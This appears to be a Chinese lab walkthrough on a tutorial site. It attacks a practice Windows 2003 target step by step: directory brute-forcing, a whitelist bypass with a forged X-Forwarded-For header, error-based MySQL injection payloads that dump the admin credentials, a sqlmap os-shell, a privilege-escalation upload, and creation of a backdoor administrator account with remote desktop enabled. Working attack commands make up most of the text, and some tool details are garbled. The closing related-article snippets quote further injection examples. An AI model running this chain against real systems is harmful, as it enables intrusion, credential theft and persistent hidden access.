Web应用程序漏洞-X-Forwarded-For注入

2023-10-07 02:10

本文主要是介绍Web应用程序漏洞-X-Forwarded-For注入,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

X-Forwarded-For
   在学习之前先了解这个是什么东西,X-Forwarded-For 是一个 HTTP 扩展头部。HTTP/1.1(RFC 2616)协议并没有对它的定义,它最开始是由 Squid 这个缓存代理软件引入,用来表示 HTTP 请求端真实 IP。如今它已经成为事实上的标准,被各大 HTTP 代理、负载均衡等转发服务广泛使用,并被写入 RFC 7239(Forwarded HTTP Extension)标准之中。


                                Web应用程序漏洞-X-Forwarded-For注入

实验环境IP分布如下:

Kali Linux

Windows2003

第二步,切换至渗透机Kali Linux,在终端中输入dirbuster启动目录爆破程序

第三步,设置参数:

Target URL:设置目标靶机的HTTP地址;

File with list of dirs/files:设置字典,将以字典中的内容,每行尝试访问;

URL Fuzz:设置为URL遍历模式;

URL to fuzz:设置为/{dir},代表用字典遍历网站根目录下的目录。

第四步,点击“Start”,开始扫描

第五步,一分钟后扫描结束,切换至Results标签页,可以看到/admin目录被扫描出来,推测该目录为管理员后台地址

 

第六步,使用浏览器访问http://172.16.1.200(靶机IP)/admin,成功进入管理员后台

第七步,尝试使用用户名admin,密码admin登录后台

第八步,发现后台有白名单验证机制,没有在白名单内的IP地址无法登录。在Kali Linux终端中启动Burpsuite:

burpsuite &

第九步,进入Proxy标签,在Options中可以看到默认正在监听8080端口

第十步,开启浏览器,在设置中配置代理

第十一步,尝试拦截管理员登录发送的数据包

第十二步,右键空白处,选择“Send to Repeater”,然后切换至“Repeater”选项卡

第十三步,切换至Win2003的控制台,查看登录验证C:\AppServ\www\admin\controller\login.php源码

在HTTP头部信息,X-Forwarded-For标识了客户端经过代理访问后,代理会将客户端的真实地址标记在X-Forwarded-For中,但这个地址是可以伪造的。

第十四步,在WireShark的Repeater中,添加一行信息,然后点击“Send”:

X-Forwarded-For: 127.0.0.1

第十五步,此时我们得知,通过X-Forwarded-For确实可以绕过白名单限制。

再次审计login.php

可以看到,我们从X-Forwarded-For定义的内容,未经过筛选就执行了SQL语句用于查询该IP地址是否在白名单之内,且会回显SQL查询错误信息

第十六步,在BurpSuite中将X-Forwarded-For的值改为一个单引号(’)尝试

第十七步,尝试进行MySQL报错攻击:

‘ union select count(*) from information_schema.tables group by concat((select user()), 0x7e, floor(rand(0)*2))#

成功利用错误信息提取出了当前数据库所登录的用户。

第十八步,将select user()替换为select database() limit 1查询当前站点使用的数据库

查询到当前网站使用的数据库名为php

第十九步,查询该数据库下的表,将select后内容修改为:

select table_name from information_schema.tables where table_schema=’php’ limit 1,1

limit 1,1即限制只输出一条结果,输出第一条。

第二十步,尝试将limit 1,1修改为2,1、3,1 ……,就可以逐个得到该数据库的表名

直到limit 12,1,我们都能获得报错中的表名,可以得知该数据库的所有表,并且该数据库有12个数据表。

第二十一步,猜测xiao_admin表中含有用户名和密码。使用语句导出该表中的列名。

select column_name from information_schema.columns where table_name='xiao_admin' limit 1,1

select column_name from information_schema.columns where table_name='xiao_admin' limit 2,1

分别得出xiao_admin表中的用户名列名为username,密码列为password。

第二十二步,取出用户名和密码。分别输入:

select username from xiao_admin

select password from xiao_admin

在获取密码时,返回结果为32为的MD5加密值,并非明文密码。

第二十三步,尝试获取系统Shell。将X-Forwarded-For改为:

X-Forwarded-For: *

第二十四步,右键选择“Copy to file”,保存到任意目录:(这里保存到了根目录下/xff.txt)

第二十五步,打开终端,尝试获取系统Shell:

sqlmap –l /xff.txt –os-shell

前四个选项直接回车默认即可。

第二十六步,在询问“writeable directory”时,我们需要指定www目录的所在位置。输入2,然后再输入C:/AppServ/www

第二十七步,等待出现“os-shell>”即代表Shell反弹成功。输入dir查看当前目录下的列表:(如有提示,回车即可)

第二十八步,重新审阅刚刚获取os-shell时的日志,发现sqlmap在网站根目录下放置了一个tmpunjoh.php文件(文件名为随机,请注意),可以用于手动上传文件

第二十九步,访问该PHP文件,确认存在

第三十步,在终端中输入“nautilus”,弹出文件管理器窗口,点击“Other Location”,连接Win2003靶机的FTP服务,下载提权工具:

第三十一步,下载至桌面

第三十二步,回到刚刚获得的上传页面,将churrasco.exe上传

第三十三步,使用churrascoo创建一个用户“hacker”,密码为“123456”,并赋予管理员权限:

churrasco.exe “net user hacker 123456 /add”

churrasco.exe “net localgroup administrators hacker /add”

第三十四步,开启远程桌面:

churrasco.exe "REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal""" """Server /v fDenyTSConnections /t REG_DWORD /d 0 /f"

第三十五步,在终端输入“rdesktop 172.16.1.200”连接远程桌面

第三十六步,登录hacker/123456

第三十七步,进入远程桌面

提权成功。

这篇关于Web应用程序漏洞-X-Forwarded-For注入的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/155404

相关文章

Java Web指的是什么

Java Web指的是使用Java技术进行Web开发的一种方式。Java在Web开发领域有着广泛的应用,主要通过Java EE(Enterprise Edition)平台来实现。  主要特点和技术包括: 1. Servlets和JSP:     Servlets 是Java编写的服务器端程序,用于处理客户端请求和生成动态网页内容。     JSP(JavaServer Pages)

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

cross-plateform 跨平台应用程序-03-如果只选择一个框架,应该选择哪一个?

跨平台系列 cross-plateform 跨平台应用程序-01-概览 cross-plateform 跨平台应用程序-02-有哪些主流技术栈? cross-plateform 跨平台应用程序-03-如果只选择一个框架,应该选择哪一个? cross-plateform 跨平台应用程序-04-React Native 介绍 cross-plateform 跨平台应用程序-05-Flutte

EasyPlayer.js网页H5 Web js播放器能力合集

最近遇到一个需求,要求做一款播放器,发现能力上跟EasyPlayer.js基本一致,满足要求: 需求 功性能 分类 需求描述 功能 预览 分屏模式 单分屏(单屏/全屏) 多分屏(2*2) 多分屏(3*3) 多分屏(4*4) 播放控制 播放(单个或全部) 暂停(暂停时展示最后一帧画面) 停止(单个或全部) 声音控制(开关/音量调节) 主辅码流切换 辅助功能 屏

9.8javaweb项目总结

1.主界面用户信息显示 登录成功后,将用户信息存储在记录在 localStorage中,然后进入界面之前通过js来渲染主界面 存储用户信息 将用户信息渲染在主界面上,并且头像设置跳转,到个人资料界面 这里数据库中还没有设置相关信息 2.模糊查找 检测输入框是否有变更,有的话调用方法,进行查找 发送检测请求,然后接收的时候设置最多显示四个类似的搜索结果

JavaWeb【day09】--(Mybatis)

1. Mybatis基础操作 学习完mybatis入门后,我们继续学习mybatis基础操作。 1.1 需求 需求说明: 根据资料中提供的《tlias智能学习辅助系统》页面原型及需求,完成员工管理的需求开发。 通过分析以上的页面原型和需求,我们确定了功能列表: 查询 根据主键ID查询 条件查询 新增 更新 删除 根据主键ID删除 根据主键ID批量删除

利用Django框架快速构建Web应用:从零到上线

随着互联网的发展,Web应用的需求日益增长,而Django作为一个高级的Python Web框架,以其强大的功能和灵活的架构,成为了众多开发者的选择。本文将指导你如何从零开始使用Django框架构建一个简单的Web应用,并将其部署到线上,让世界看到你的作品。 Django简介 Django是由Adrian Holovaty和Simon Willison于2005年开发的一个开源框架,旨在简

web群集--nginx配置文件location匹配符的优先级顺序详解及验证

文章目录 前言优先级顺序优先级顺序(详解)1. 精确匹配(Exact Match)2. 正则表达式匹配(Regex Match)3. 前缀匹配(Prefix Match) 匹配规则的综合应用验证优先级 前言 location的作用 在 NGINX 中,location 指令用于定义如何处理特定的请求 URI。由于网站往往需要不同的处理方式来适应各种请求,NGINX 提供了多种匹

PHP防止SQL注入详解及防范

SQL 注入是PHP应用中最常见的漏洞之一。事实上令人惊奇的是,开发者要同时犯两个错误才会引发一个SQL注入漏洞。 一个是没有对输入的数据进行过滤(过滤输入),还有一个是没有对发送到数据库的数据进行转义(转义输出)。这两个重要的步骤缺一不可,需要同时加以特别关注以减少程序错误。 对于攻击者来说,进行SQL注入攻击需要思考和试验,对数据库方案进行有根有据的推理非常有必要(当然假设攻击者看不到你的

PHP防止SQL注入的方法(2)

如果用户输入的是直接插入到一个SQL语句中的查询,应用程序会很容易受到SQL注入,例如下面的例子: $unsafe_variable = $_POST['user_input'];mysql_query("INSERT INTO table (column) VALUES ('" . $unsafe_variable . "')"); 这是因为用户可以输入类似VALUE”); DROP TA